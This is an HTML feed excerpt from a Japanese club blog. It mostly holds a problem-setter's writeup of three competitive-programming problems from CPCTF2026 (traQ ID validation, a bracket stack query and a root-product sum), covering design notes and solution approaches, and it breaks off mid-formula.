<p>&#x79C1;&#x304C;&#x9069;&#x5F53;&#x306B;&#x66F8;&#x3044;&#x305F;C++&#x30B3;&#x30FC;&#x30C9;&#x3092;AI&#x306B;&#x6307;&#x6458;&#x3055;&#x308C;&#x305F;&#x3053;&#x3068;&#x304C;&#x304D;&#x3063;&#x304B;&#x3051;&#x3067;&#x554F;&#x984C;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x8B0E;&#x306B;p-impl&#x3092;&#x4F7F;&#x3063;&#x3066;&#x3044;&#x305F;&#x308A;&#x3001;&#x5165;&#x529B;&#x3067;&#x9762;&#x5012;&#x306A;&#x3053;&#x3068;&#x3092;&#x3084;&#x3063;&#x3066;&#x3044;&#x305F;&#x308A;&#x3057;&#x307E;&#x3059;&#x304C;&#x3001;&#x306A;&#x308B;&#x3079;&#x304F;&#x81EA;&#x7136;&#x306A;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x306B;&#x306A;&#x308B;&#x3088;&#x3046;&#x306B;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<p>Rust&#x306B;&#x3057;&#x305F;&#x3089;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x306B;&#x6012;&#x3089;&#x308C;&#x305D;&#x3046;&#x306A;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<h1 id="%E3%81%8A%E3%82%8F%E3%82%8A%E3%81%AB">&#x304A;&#x308F;&#x308A;&#x306B;</h1>
<p>&#x6539;&#x3081;&#x3066;&#x3001;CPCTF&#x306B;&#x53C2;&#x52A0;&#x3057;&#x3066;&#x3044;&#x305F;&#x3060;&#x3044;&#x305F;&#x7686;&#x3055;&#x3093;&#x3001;&#x89E3;&#x3044;&#x3066;&#x3044;&#x305F;&#x3060;&#x3044;&#x305F;&#x7686;&#x3055;&#x3093;&#x3001;&#x672C;&#x5F53;&#x306B;&#x3042;&#x308A;&#x304C;&#x3068;&#x3046;&#x3054;&#x3056;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x76F8;&#x5909;&#x308F;&#x3089;&#x305A;&#x5178;&#x578B;+&#x3B1;&#x304F;&#x3089;&#x3044;&#x306E;&#x554F;&#x984C;&#x3057;&#x304B;&#x4F5C;&#x308C;&#x306A;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;&#x3082;&#x3057;&#x6765;&#x5E74;&#x3082;&#x6A5F;&#x4F1A;&#x304C;&#x3042;&#x308C;&#x3070;&#x3082;&#x3063;&#x3068;&#x9762;&#x767D;&#x3044;&#x554F;&#x984C;&#x304C;&#x4F5C;&#x308C;&#x308B;&#x3088;&#x3046;&#x306B;&#x52AA;&#x529B;&#x3057;&#x3066;&#x3044;&#x304D;&#x305F;&#x3044;&#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[CPCTF 作問者writeup n3編]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 50&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;</p>
<h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2>
<p>&#x3069;&#x3046;&#x3082;&#x3001;25B&#x306E;n3&#x3068;&#x7533;&#x3057;&#x307E;&#x3059;&#x3002;<br>
&#x5148;&#x65E5;&#x884C;&#x308F;&#x308C;&#x305F;CPCTF2026&#x306B;&#x304A;&#x3044;&#x3066;</p>]]></description><link>https://trap.jp/post/2927/</link><guid isPermaLink="false">69eaf152e2394c00016ea558</guid><category><![CDATA[新歓ブログリレー2026]]></category><category><![CDATA[CPCTF]]></category><category><![CDATA[アルゴリズム班]]></category><dc:creator><![CDATA[n3]]></dc:creator><pubDate>Fri, 24 Apr 2026 06:50:02 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/----------2026-04-25-021313.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://trap.jp/content/images/2026/04/----------2026-04-25-021313.png" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 50&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;</p>
<h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2>
<p>&#x3069;&#x3046;&#x3082;&#x3001;25B&#x306E;n3&#x3068;&#x7533;&#x3057;&#x307E;&#x3059;&#x3002;<br>
&#x5148;&#x65E5;&#x884C;&#x308F;&#x308C;&#x305F;CPCTF2026&#x306B;&#x304A;&#x3044;&#x3066;&#x3001;PPC&#x3092;3&#x984C;(&#x539F;&#x6848;&#x3067;&#x95A2;&#x308F;&#x3063;&#x305F;&#x306E;&#x306F;5&#x984C;)&#x51FA;&#x984C;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x4F5C;&#x554F;&#x6642;&#x306B;&#x8003;&#x3048;&#x305F;&#x3053;&#x3068;&#x306A;&#x3069;&#x3092;&#x3053;&#x3053;&#x306B;&#x8A18;&#x3057;&#x3066;&#x304A;&#x3053;&#x3046;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x305B;&#x3063;&#x304B;&#x304F;&#x306A;&#x306E;&#x3067;&#x6CA1;&#x306B;&#x306A;&#x3063;&#x305F;&#x6848;&#x3082;&#x629C;&#x7C8B;&#x3057;&#x3066;&#x7D39;&#x4ECB;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<h2 id="sign-up-for-trap-lv1-%E6%98%9F15">Sign up for traP [Lv1, &#x661F;1.5]</h2>
<h3 id="%E5%95%8F%E9%A1%8C%E6%96%87">&#x554F;&#x984C;&#x6587;</h3>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://yukicoder.me/problems/no/3497?ref=trap.jp"><div class="kg-bookmark-content"><div class="kg-bookmark-title">No.3497 Sign up for traP - yukicoder</div><div class="kg-bookmark-description">&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x306E;&#x7DF4;&#x7FD2;&#x30B5;&#x30A4;&#x30C8;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://yukicoder.me/favicon.ico" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"><span class="kg-bookmark-author">yukicoder</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://yukicoder.me/public/img/icon.png" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"></div></a></figure><!--kg-card-begin: markdown--><h3 id="%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88">&#x30B3;&#x30E1;&#x30F3;&#x30C8;</h3>
<p>&#x539F;&#x6848;&#x62C5;&#x5F53;&#x3067;&#x3059;&#x3002;writer&#x306F; <a href="https://trap.jp/author/alyth_sol/">@alyth_sol</a> &#x3067;&#x3059;&#x3002;</p>
<p>&#x3053;&#x306E;&#x554F;&#x984C;&#x3092;&#x4F5C;&#x308B;&#x305F;&#x3081;&#x306B;&#x3001;traQ&#x306E;&#x5185;&#x90E8;&#x5B9F;&#x88C5;&#x3092;&#x898B;&#x3066;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;&#x30ED;&#x30B0;&#x30A4;&#x30F3;&#x6642;&#x306E;&#x51E6;&#x7406;&#x3067;&#x3001;</p>
<ul>
<li><code>traQid</code> &#x306F;1&#x6587;&#x5B57;&#x4EE5;&#x4E0A;32&#x6587;&#x5B57;&#x4EE5;&#x4E0B;&#x306E;&#x3001;&#x82F1;&#x5927;&#x6587;&#x5B57;(<code>A~Z</code>)&#x3001;&#x82F1;&#x5C0F;&#x6587;&#x5B57;(<code>a~z</code>)&#x3001;&#x30A2;&#x30E9;&#x30D3;&#x30A2;&#x6570;&#x5B57;(<code>0~9</code>)&#x3001;&#x30A2;&#x30F3;&#x30C0;&#x30FC;&#x30B9;&#x30B3;&#x30A2;(<code>_</code>)&#x3001;&#x30CF;&#x30A4;&#x30D5;&#x30F3;(<code>-</code>)&#x3001;&#x306B;&#x3088;&#x3063;&#x3066;&#x69CB;&#x6210;&#x3055;&#x308C;&#x308B;</li>
<li><code>password</code> &#x306F;10&#x6587;&#x5B57;&#x4EE5;&#x4E0A;32&#x6587;&#x5B57;&#x4EE5;&#x4E0B;&#x306E;&#x3001;ASCII&#x30B3;&#x30FC;&#x30C9;&#x306B;&#x3066;&#x8868;&#x73FE;&#x53EF;&#x80FD;&#x306A;&#x6587;&#x5B57;&#x5217;&#x3067;&#x3042;&#x308B;</li>
</ul>
<p>&#x3068;&#x3044;&#x3046;&#x30D0;&#x30EA;&#x30C7;&#x30FC;&#x30B7;&#x30E7;&#x30F3;&#x30B3;&#x30FC;&#x30C9;&#x304C;&#x3042;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;&#x305D;&#x306E;&#x307E;&#x307E;&#x554F;&#x984C;&#x306B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x3057;&#x304B;&#x3057;&#x3001;&#x300C;&#x3001;ASCII&#x30B3;&#x30FC;&#x30C9;&#x306B;&#x3066;&#x8868;&#x73FE;&#x53EF;&#x80FD;&#x306A;&#x6587;&#x5B57;&#x5217;&#x3067;&#x3042;&#x308B;&#x300D;&#x307F;&#x305F;&#x3044;&#x306A;&#x8868;&#x73FE;&#x3060;&#x3068;&#x3001;&#x65E5;&#x672C;&#x8A9E;&#x6587;&#x5B57;&#x304C;&#x5165;&#x3063;&#x3066;&#x304F;&#x308B;&#x3053;&#x3068;&#x304C;&#x3042;&#x308B;&#x306E;&#x304B;&#x3068;&#x304B;&#x304C;&#x66D6;&#x6627;&#x3067;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x554F;&#x984C;&#x3067;&#x306F;&#x300C;&#x6587;&#x5B57;&#x5217; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> &#x306F; ASCII code &#x3067; 33~126 &#x3068;&#x8868;&#x73FE;&#x3055;&#x308C;&#x308B;&#x6587;&#x5B57;&#x304B;&#x3089;&#x69CB;&#x6210;&#x3055;&#x308C;&#x308B;&#x3002;&#x7279;&#x306B;&#x3001;&#x534A;&#x89D2;&#x30B9;&#x30DA;&#x30FC;&#x30B9;&#x3092;&#x542B;&#x307E;&#x306A;&#x3044;&#x3002;&#x300D;&#x3068;&#x3044;&#x3046;&#x5F62;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h3 id="%E7%B5%90%E6%9E%9C">&#x7D50;&#x679C;</h3>
<p>B&#x554F;&#x984C;&#x3068;solved&#x6570;&#x304C;&#x9006;&#x8EE2;&#x3057;&#x3061;&#x3083;&#x3063;&#x305F;...<br>
&#x307E;&#x3042;&#x6587;&#x5B57;&#x5217;&#x306E;&#x5224;&#x5B9A;&#x3067;&#x610F;&#x5916;&#x3068;&#x5927;&#x5909;...&#x305D;&#x3046;&#x304B;&#xFF1F;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="brackets-stack-query-2-lv2-%E6%98%9F2">Brackets Stack Query 2 [Lv2, &#x661F;2]</h2>
<h3 id="%E5%95%8F%E9%A1%8C%E6%96%87">&#x554F;&#x984C;&#x6587;</h3>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://yukicoder.me/problems/no/3503?ref=trap.jp"><div class="kg-bookmark-content"><div class="kg-bookmark-title">No.3503 Brackets Stack Query 2 - yukicoder</div><div class="kg-bookmark-description">&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x306E;&#x7DF4;&#x7FD2;&#x30B5;&#x30A4;&#x30C8;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://yukicoder.me/favicon.ico" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"><span class="kg-bookmark-author">yukicoder</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://yukicoder.me/public/img/icon.png" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"></div></a></figure><!--kg-card-begin: markdown--><h3 id="%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88">&#x30B3;&#x30E1;&#x30F3;&#x30C8;</h3>
<p>&#x539F;&#x6848;&#x62C5;&#x5F53; &#x517C; writer &#x3067;&#x3059;&#x3002;</p>
<p>&#x96C6;&#x5408;&#x306E;&#x5185;&#x5305;&#x8868;&#x8A18; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathnormal">x</span><span class="mord">&#x2223;</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)}</span></span></span></span> &#x306E;&#x3088;&#x3046;&#x306A;&#x8868;&#x8A18;&#x304B;&#x3089;&#x3001;&#x68D2;&#x4ED8;&#x304D;&#x62EC;&#x5F27;&#x5217;&#x3068;&#x3044;&#x3046;&#x30A2;&#x30A4;&#x30C7;&#x30A2;&#x3092;&#x601D;&#x3044;&#x3064;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x3053;&#x306E;&#x554F;&#x984C;&#x3092;&#x601D;&#x3044;&#x3064;&#x3044;&#x305F;&#x5F53;&#x6642;&#x306F;&#x3001;&#x901A;&#x5E38;&#x306E;&#x62EC;&#x5F27;&#x5217;&#x306E;&#x5224;&#x5B9A;&#x306E;&#x3088;&#x3046;&#x306B;&#x30CD;&#x30B9;&#x30C8;&#x306E;&#x6DF1;&#x3055;&#x3092;&#x8868;&#x3059;&#x6574;&#x6570;&#x3092;&#x6301;&#x3063;&#x3066;&#x5B9F;&#x88C5;&#x3057;&#x3088;&#x3046;&#x3068;&#x3057;&#x3066;&#x8FF7;&#x8D70;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x305D;&#x306E;&#x7D50;&#x679C;&#x3001;&#x300C;&#x6C38;&#x7D9A;stack&#x3092;&#x4F7F;&#x3048;&#x3070;&#x89E3;&#x3051;&#x308B;&#xFF01;&#x300D;&#x3068;&#x3044;&#x3046;&#x7D50;&#x8AD6;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x4F5C;&#x554F;&#x8005;&#x4EF2;&#x9593;&#x306E; <a href="https://trap.jp/author/t-oka/">@t-oka</a> &#x306B;&#x51FA;&#x984C;&#x3057;&#x3066;&#x307F;&#x305F;&#x3089;&#x3001;&#x300C;&#x30B9;&#x30BF;&#x30C3;&#x30AF;&#x3092;&#x4F7F;&#x3063;&#x3066;&#x5224;&#x5B9A;&#x3057;&#x3064;&#x3064;&#x5DEE;&#x5206;&#x3092;&#x5225;&#x306E;&#x30B9;&#x30BF;&#x30C3;&#x30AF;&#x306B;&#x4FDD;&#x5B58;&#x3059;&#x308C;&#x3070;&#x3044;&#x3044;&#x306E;&#x3067;&#x306F;&#xFF1F;&#x300D;&#x3068;&#x6307;&#x6458;&#x3055;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;&#x5909;&#x306B;&#x30C7;&#x30FC;&#x30BF;&#x69CB;&#x9020;&#x306B;&#x983C;&#x308A;&#x3059;&#x304E;&#x308B;&#x306E;&#x306F;&#x3088;&#x304F;&#x306A;&#x3044;&#x3067;&#x3059;&#x306D;...</p>
<p>&#x4EE5;&#x4E0B;&#x306F;&#x72EC;&#x308A;&#x8A00;&#x3067;&#x3059;&#x3002;<br>
&#x3053;&#x3046;&#x3044;&#x3046;&#x3001;&#x30B9;&#x30BF;&#x30C3;&#x30AF;&#x3092;&#x4F7F;&#x3063;&#x3066;&#x305D;&#x306E;&#x6587;&#x5B57;&#x5217;&#x304C;&#x6761;&#x4EF6;&#x3092;&#x6E80;&#x305F;&#x3059;&#x304B;&#x3069;&#x3046;&#x304B;&#x3092;&#x5224;&#x5B9A;&#x3067;&#x304D;&#x308B;&#x3082;&#x306E;&#x306F;&#x3001;&#x30D7;&#x30C3;&#x30B7;&#x30E5;&#x30C0;&#x30A6;&#x30F3;&#x30AA;&#x30FC;&#x30C8;&#x30DE;&#x30C8;&#x30F3;&#x3068;&#x304B;&#x306E;&#x6982;&#x5FF5;&#x3068;&#x5BC6;&#x63A5;&#x306B;&#x95A2;&#x308F;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x305D;&#x3082;&#x305D;&#x3082;&#x300C;&#x62EC;&#x5F27;&#x5217;&#x306E;&#x6DF1;&#x3055;&#x3092;&#x6301;&#x3064;&#x300D;&#x3068;&#x3044;&#x3046;&#x306E;&#x306F;&#x3001;&#x300C;&#x30B9;&#x30BF;&#x30C3;&#x30AF;&#x306B;<code>(</code>&#x304C;&#x4F55;&#x500B;&#x7A4D;&#x307E;&#x308C;&#x3066;&#x3044;&#x308B;&#x304B;&#x300D;&#x3092;&#x4FDD;&#x5B58;&#x3057;&#x3066;&#x3044;&#x308B;&#x3082;&#x306E;&#x3067;&#x3042;&#x308A;&#x3001;&#x3064;&#x307E;&#x308A;&#x30B9;&#x30BF;&#x30C3;&#x30AF;&#x306E;&#x72B6;&#x614B;&#x3068;&#x7B49;&#x4FA1;&#x306A;&#x3082;&#x306E;&#x3092;&#x6301;&#x3063;&#x3066;&#x3044;&#x308B;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x3067;&#x3059;&#x3002;&#x30B9;&#x30BF;&#x30C3;&#x30AF;&#x3068;&#x7B49;&#x4FA1;&#x306A;&#x60C5;&#x5831;&#x3092;&#x6301;&#x3064;&#x304B;&#x3089;&#x3001;&#x901A;&#x5E38;&#x306E;&#x62EC;&#x5F27;&#x5217;&#x306F;&#x30BB;&#x30B0;&#x6728;&#x306B;&#x4E57;&#x305B;&#x308C;&#x305F;&#x308A;...&#x3068;&#x8003;&#x3048;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x3064;&#x307E;&#x308A;&#x3001;&#x901A;&#x5E38;&#x306E;&#x62EC;&#x5F27;&#x5217;&#x3067;&#x300C;&#x30CD;&#x30B9;&#x30C8;&#x306E;&#x6DF1;&#x3055;&#x3092;&#x6301;&#x3064;&#x300D;&#x3068;&#x3044;&#x3046;&#x306E;&#x306F;&#x300C;&#x30D7;&#x30C3;&#x30B7;&#x30E5;&#x30C0;&#x30A6;&#x30F3;&#x30AA;&#x30FC;&#x30C8;&#x30DE;&#x30C8;&#x30F3;&#x306E;&#x30B9;&#x30BF;&#x30C3;&#x30AF;&#x306E;&#x72B6;&#x614B;&#x3092;&#x6301;&#x3064;&#x300D;&#x3068;&#x8003;&#x3048;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x3001;&#x9006;&#x306B;&#x8A00;&#x3048;&#x3070;&#x305D;&#x306E;&#x72B6;&#x614B;&#x304C;&#x4E00;&#x6B21;&#x5143;&#x7684;&#x306A;&#x6574;&#x6570;&#x3067;&#x5E38;&#x306B;&#x8868;&#x305B;&#x308B;&#x8A33;&#x3067;&#x306F;&#x306A;&#x3044;...&#x3060;&#x304B;&#x3089;&#x6700;&#x521D;&#x306B;&#x8FF7;&#x8D70;&#x3057;&#x305F;&#x300C;&#x6DF1;&#x3055;&#x3092;&#x8868;&#x3059;&#x6570;&#x5024;&#x3092;&#x6301;&#x3064;&#x300D;&#x3068;&#x3044;&#x3046;&#x65B9;&#x91DD;&#x306F;&#x826F;&#x304F;&#x306A;&#x304B;&#x3063;&#x305F;&#x3093;&#x3067;&#x3059;&#x306D;&#x3002;&#x76F4;&#x63A5;&#x967D;&#x306B;&#x30B9;&#x30BF;&#x30C3;&#x30AF;&#x306E;&#x72B6;&#x614B;&#x3092;&#x6301;&#x3063;&#x3066;&#x5DEE;&#x5206;&#x66F4;&#x65B0;&#x3059;&#x308C;&#x3070;&#x3088;&#x304B;&#x3063;&#x305F;&#x308F;&#x3051;&#x3067;&#x3059;&#x3002;&#x3053;&#x306E;&#x554F;&#x984C;&#x3092;&#x4F5C;&#x554F;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x3001;&#x81EA;&#x5206;&#x306E;&#x4E2D;&#x3067;&#x306E;&#x7406;&#x89E3;&#x304C;&#x6DF1;&#x307E;&#x3063;&#x305F;&#x6C17;&#x304C;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<h3 id="%E7%B5%90%E6%9E%9C">&#x7D50;&#x679C;</h3>
<p>E,F&#x554F;&#x984C;&#x3068;solved&#x6570;&#x304C;&#x9006;&#x8EE2;&#x3057;&#x3061;&#x3083;&#x3063;&#x305F;...(2&#x56DE;&#x76EE;)</p>
<p>&#x63D0;&#x51FA;&#x3092;&#x898B;&#x308B;&#x3068;&#x3001;&#x3061;&#x3087;&#x3053;&#x3061;&#x3087;&#x3053;&#x6C38;&#x7D9A;stack&#x3092;&#x4F7F;&#x3063;&#x3066;&#x308B;&#x4EBA;&#x304C;&#x3044;&#x3066;&#x304A;&#x3082;&#x3057;&#x308D;&#x3044;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="sum-of-prod-of-root-lv3-%E6%98%9F25">Sum of Prod of Root [Lv3, &#x661F;2.5]</h2>
<h3 id="%E5%95%8F%E9%A1%8C%E6%96%87">&#x554F;&#x984C;&#x6587;</h3>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://yukicoder.me/problems/no/3505?ref=trap.jp"><div class="kg-bookmark-content"><div class="kg-bookmark-title">No.3505 Sum of Prod of Root - yukicoder</div><div class="kg-bookmark-description">&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x306E;&#x7DF4;&#x7FD2;&#x30B5;&#x30A4;&#x30C8;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://yukicoder.me/favicon.ico" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"><span class="kg-bookmark-author">yukicoder</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://yukicoder.me/public/img/icon.png" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"></div></a></figure><!--kg-card-begin: markdown--><h3 id="%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88">&#x30B3;&#x30E1;&#x30F3;&#x30C8;</h3>
<p>&#x539F;&#x6848;&#x62C5;&#x5F53;&#x3067;&#x3059;&#x3002;writer&#x306F; <a href="https://trap.jp/author/alyth_sol/">@alyth_sol</a> &#x3067;&#x3059;&#x3002;</p>
<p>&#x4ECA;&#x56DE;&#x306E;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x306E;&#x4E2D;&#x3067;&#x306F;&#x3001;&#x81EA;&#x5206;&#x306E;&#x4E00;&#x756A;&#x306E;&#x304A;&#x6C17;&#x306B;&#x5165;&#x308A;&#x3067;&#x3059;&#x3002;&#x5F0F;&#x306E;&#x5F62;&#x304C;&#x597D;&#x304D;&#x3067;&#x3059;&#x3002;</p>
<p>&#x89E3;&#x6CD5;&#x3068;&#x3057;&#x3066;&#x306F;&#x3001;&#x307E;&#x305A; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2265;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> &#x306E;&#x5909;&#x5316;&#x70B9;&#x3092;&#x5217;&#x6319;&#x3059;&#x308B; + &#x9023;&#x7D9A;&#x3059;&#x308B;&#x81EA;&#x7136;&#x6570;&#x306E;&#x548C;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> &#x3067;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x3067; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1767em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9267em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span><span style="top:-2.8867em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.1133em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span> &#x3067;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;&#x3053;&#x3053;&#x307E;&#x3067;&#x306F;&#x7C21;&#x5358;&#x3067;&#x3059;&#x306D;&#x3002;&#x6700;&#x521D;&#x306F;&#x3053;&#x308C;&#x3067;&#x51FA;&#x3057;&#x3066;&#x3044;&#x3044;&#x304B;&#x306A;&#xFF5E;&#x3068;&#x601D;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>&#x3053;&#x3053;&#x307E;&#x3067;&#x306F;&#x9AD8;&#x6821;&#x6570;&#x5B66;&#x306E;&#x5185;&#x5BB9;&#x306A;&#x306E;&#x3067; &#x661F;2.5 &#x3067;&#x3044;&#x3044;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<p>&#x3067;&#x3059;&#x304C;&#x3001;&#x9811;&#x5F35;&#x308C;&#x3070; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1767em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord sqrt"><span class="root"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8102em;"><span style="top:-2.988em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size6 size1 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9267em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span><span style="top:-2.8867em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
